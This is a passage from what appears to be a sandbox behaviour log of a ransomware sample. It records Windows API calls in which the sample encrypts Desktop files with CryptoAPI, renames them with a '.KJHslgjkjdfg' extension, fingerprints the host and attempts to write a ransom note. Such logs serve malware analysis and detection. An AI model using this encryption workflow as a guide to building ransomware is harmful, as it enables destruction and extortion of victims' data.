returned 1 [0127.650] SetEndOfFile (hFile=0xc0) returned 1 [0127.653] GetProcessHeap () returned 0x2a0000 [0127.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0127.653] GetProcessHeap () returned 0x2a0000 [0127.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.653] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yPy1SQ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ypy1sq.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yPy1SQ.mkv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ypy1sq.mkv.kjhslgjkjdfg")) returned 1 [0127.655] CloseHandle (hObject=0xc0) returned 1 [0127.659] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9548f460, ftCreationTime.dwHighDateTime=0x1d5e213, ftLastAccessTime.dwLowDateTime=0x63834940, ftLastAccessTime.dwHighDateTime=0x1d5dbf0, ftLastWriteTime.dwLowDateTime=0x63834940, ftLastWriteTime.dwHighDateTime=0x1d5dbf0, nFileSizeHigh=0x0, nFileSizeLow=0x3793, dwReserved0=0x0, dwReserved1=0xffff, cFileName="_vHHR1G.odp", cAlternateFileName="")) returned 1 [0127.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_vHHR1G.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_vhhr1g.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.660] GetProcessHeap () returned 0x2a0000 [0127.660] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.660] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.660] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.660] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0xd, lpOverlapped=0x0) returned 1 [0127.661] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.661] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.661] GetProcessHeap () returned 0x2a0000 [0127.661] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.661] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.661] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.661] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.662] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.662] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.662] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.662] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.662] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.662] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.662] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.662] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.662] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3793, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x3793, lpOverlapped=0x0) returned 1 [0127.662] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x37a0, dwBufLen=0x37a0 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x37a0) returned 1 [0127.663] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.663] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x37a0, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x37a0, lpOverlapped=0x0) returned 1 [0127.663] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.663] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x3874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.663] SetEndOfFile (hFile=0xc0) returned 1 [0127.671] GetProcessHeap () returned 0x2a0000 [0127.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.671] GetProcessHeap () returned 0x2a0000 [0127.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.671] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_vHHR1G.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_vhhr1g.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_vHHR1G.odp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_vhhr1g.odp.kjhslgjkjdfg")) returned 1 [0127.675] CloseHandle (hObject=0xc0) returned 1 [0127.675] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9548f460, ftCreationTime.dwHighDateTime=0x1d5e213, ftLastAccessTime.dwLowDateTime=0x63834940, ftLastAccessTime.dwHighDateTime=0x1d5dbf0, ftLastWriteTime.dwLowDateTime=0x63834940, ftLastWriteTime.dwHighDateTime=0x1d5dbf0, nFileSizeHigh=0x0, nFileSizeLow=0x3793, dwReserved0=0x0, dwReserved1=0xffff, cFileName="_vHHR1G.odp", cAlternateFileName="")) returned 0 [0127.675] GetProcessHeap () returned 0x2a0000 [0127.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.675] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290fa60, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6320) returned 1 [0127.675] CryptDecrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290fac8 | out: pbData=0x2bf528, pdwDataLen=0x290fac8) returned 1 [0127.675] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.675] GetProcessHeap () returned 0x2a0000 [0127.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf600 [0127.676] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290fa60, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6320) returned 1 [0127.676] CryptDecrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf600, pdwDataLen=0x290fac8 | out: pbData=0x2bf600, pdwDataLen=0x290fac8) returned 1 [0127.676] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.676] GetProcessHeap () returned 0x2a0000 [0127.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2c7680 [0127.676] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290fa60, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6320) returned 1 [0127.676] CryptDecrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c7680, pdwDataLen=0x290fac8 | out: pbData=0x2c7680, pdwDataLen=0x290fac8) returned 1 [0127.676] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.676] GetProcessHeap () returned 0x2a0000 [0127.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf6d8 [0127.676] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f638, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6320) returned 1 [0127.676] CryptDecrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf6d8, pdwDataLen=0x290f6a8 | out: pbData=0x2bf6d8, pdwDataLen=0x290f6a8) returned 1 [0127.676] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.676] GetProcessHeap () returned 0x2a0000 [0127.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1690 [0127.676] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f638, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6320) returned 1 [0127.676] CryptDecrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1690, pdwDataLen=0x290f6a8 | out: pbData=0x2c1690, pdwDataLen=0x290f6a8) returned 1 [0127.676] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.676] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290f6a4 | out: phkResult=0x290f6a4*=0xc0) returned 0x0 [0127.677] RegQueryValueExA (in: hKey=0xc0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290f6b0, lpcbData=0x290f6ac*=0x400 | out: lpType=0x0, lpData=0x290f6b0*=0x30, lpcbData=0x290f6ac*=0x18) returned 0x0 [0127.677] RegCloseKey (hKey=0xc0) returned 0x0 [0127.677] GetProcessHeap () returned 0x2a0000 [0127.677] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf6d8 | out: hHeap=0x2a0000) returned 1 [0127.677] GetProcessHeap () returned 0x2a0000 [0127.677] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1690 | out: hHeap=0x2a0000) returned 1 [0127.677] GetProcessHeap () returned 0x2a0000 [0127.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1690 [0127.677] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f418, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6320) returned 1 [0127.677] CryptDecrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1690, pdwDataLen=0x290f47c | out: pbData=0x2c1690, pdwDataLen=0x290f47c) returned 1 [0127.677] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.677] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290f480, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0127.677] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290f478, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290f478*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0127.677] GetProcessHeap () returned 0x2a0000 [0127.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1690 | out: hHeap=0x2a0000) returned 1 [0127.678] wsprintfA (in: param_1=0x290f6c7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0127.678] wsprintfA (in: param_1=0x290fad4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0127.678] GetProcessHeap () returned 0x2a0000 [0127.678] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2c7a48 [0127.678] wsprintfW (in: param_1=0x290eaa4, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt") returned 56 [0127.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0127.678] GetProcessHeap () returned 0x2a0000 [0127.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7680 | out: hHeap=0x2a0000) returned 1 [0127.678] GetProcessHeap () returned 0x2a0000 [0127.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7a48 | out: hHeap=0x2a0000) returned 1 [0127.678] GetProcessHeap () returned 0x2a0000 [0127.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf600 | out: hHeap=0x2a0000) returned 1 [0127.678] GetProcessHeap () returned 0x2a0000 [0127.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.678] FindClose (in: hFindFile=0x2c6360 | out: hFindFile=0x2c6360) returned 1 [0127.678] GetProcessHeap () returned 0x2a0000 [0127.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7418 | out: hHeap=0x2a0000) returned 1 Thread: id = 172 os_tid = 0x894 [0127.684] GetProcessHeap () returned 0x2a0000 [0127.684] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bf230 [0127.684] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x2c6360 [0127.684] GetProcessHeap () returned 0x2a0000 [0127.684] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf230 | out: hHeap=0x2a0000) returned 1 [0127.685] GetProcessHeap () returned 0x2a0000 [0127.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x218) returned 0x2c7418 [0127.685] GetProcessHeap () returned 0x2a0000 [0127.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0127.685] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2c6320 [0127.685] GetProcessHeap () returned 0x2a0000 [0127.685] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0127.685] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0127.685] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0127.685] GetProcessHeap () returned 0x2a0000 [0127.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x232) returned 0x2c7638 [0127.685] GetProcessHeap () returned 0x2a0000 [0127.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2c21e0 [0127.685] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0127.686] GetProcessHeap () returned 0x2a0000 [0127.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c21e0 | out: hHeap=0x2a0000) returned 1 [0127.686] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0127.686] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0127.686] GetProcessHeap () returned 0x2a0000 [0127.686] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7878 [0127.686] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0127.686] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0127.686] GetProcessHeap () returned 0x2a0000 [0127.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7878 | out: hHeap=0x2a0000) returned 1 [0127.686] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0127.686] FindClose (in: hFindFile=0x2c6320 | out: hFindFile=0x2c6320) returned 1 [0127.686] GetProcessHeap () returned 0x2a0000 [0127.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7638 | out: hHeap=0x2a0000) returned 1 [0127.686] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Boot", cAlternateFileName="")) returned 1 [0127.687] GetProcessHeap () returned 0x2a0000 [0127.687] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1690 [0127.687] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2c6320 [0127.687] GetProcessHeap () returned 0x2a0000 [0127.687] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1690 | out: hHeap=0x2a0000) returned 1 [0127.687] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0127.687] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0127.687] GetProcessHeap () returned 0x2a0000 [0127.687] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x222) returned 0x2c7638 [0127.687] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0127.688] GetLastError () returned 0x20 [0127.688] GetProcessHeap () returned 0x2a0000 [0127.688] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x2910020 [0127.688] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2910020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x2910020, ResultLength=0x0) returned 0x0 [0127.751] GetCurrentProcessId () returned 0xb64 [0127.752] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.752] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.752] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.752] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.752] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.752] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.752] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.752] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 